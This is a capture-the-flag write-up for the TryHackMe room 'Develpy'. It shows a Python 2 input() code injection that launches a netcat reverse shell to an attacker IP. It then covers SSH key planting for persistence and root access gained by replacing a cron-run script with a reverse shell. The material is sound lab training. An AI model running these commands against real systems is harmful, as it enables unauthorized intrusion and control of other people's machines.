---
# System prepended metadata

title: Develpy-TryHackMe

---

# Develpy-TryHackMe

> This is a writeup for THM box - Develpy
> https://tryhackme.com/room/bsidesgtdevelpy
> 
> ![](https://i.imgur.com/3sZR8Fj.png)
> 
> `Difficulty: Medium`
> 
> `Task 1 `
> 
> > read user.txt and root.txt
> 
> ---
> 
## Solution

### Nmap
> runnning an `nmap` scan we find 2 services 
> ![](https://i.imgur.com/JERi6VY.png)
> 


---

### Port 10000
> Running a deeper scan on port 10000 
> ```bash
> $nmap -A -p 10000 10.10.38.226  -T4 
> ```
> ![](https://i.imgur.com/UqIQtkE.png)
> 
> 
> clearly a python script `exploit.py`  is running on port `10000`
> 
> trying different inputs i found that it evaluated `1*2`
> ![](https://i.imgur.com/CZYtiKk.png)
> 
> 
>  this meant it was `python 2` as `input()` in pyhton2  can evaluate expressions 
>  according to [this](https://intx0x80.blogspot.com/2017/05/python-input-vulnerability_25.html) article.
> 
> we get a [revshell](https://www.revshells.com/)  
> ```bash
> #input to the devil.py
> __import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.17.52.250 5051 >/tmp/f')
> 
> #kali:
> nc -lvnp 5051
> ```
> 
> now since revshells are not stable we can  `ssh`  to the box by saving our public key to `~./ssh/authorized_keys`
> 
> we create a rsa key pair 
> ![](https://i.imgur.com/FE62yBD.png)
> 
> 
> we copy the contents of `id_rsa.pub` 
> 
> ```bash
> #on the box
> mkdir ./.ssh
> echo '<contents of id_rsa.pub >' > .ssh/authorized_keys
> ```
> 
> we can now ssh to the box
> 
> ![](https://i.imgur.com/2ZpTgj0.png)
> 
> 
---
### Privilege escalation
> exploring the system i found that  cron jobs were running 
> ![](https://i.imgur.com/9YisKIi.png)
> 
> 
> checking the permission of root.sh it was only readable by us but the directory was owned by `king` 
> 
> ![](https://i.imgur.com/Qnw7SKu.png)
> 
> 
> and i found that even write protected files could be  [deleted](https://stackoverflow.com/questions/14496128/why-can-i-delete-write-protect-filehard-link-in-my-own-directory)
> so i deleted the file and wrote a rev shell in the new root.sh 
> 
> ![](https://i.imgur.com/ynD7K4o.png)
> 
> 
> after `1 min`   i got the connection
> 
> ![](https://i.imgur.com/fGyoMIQ.png)
> 
> 
> Hence the box is rooted `^_^`
> 
----
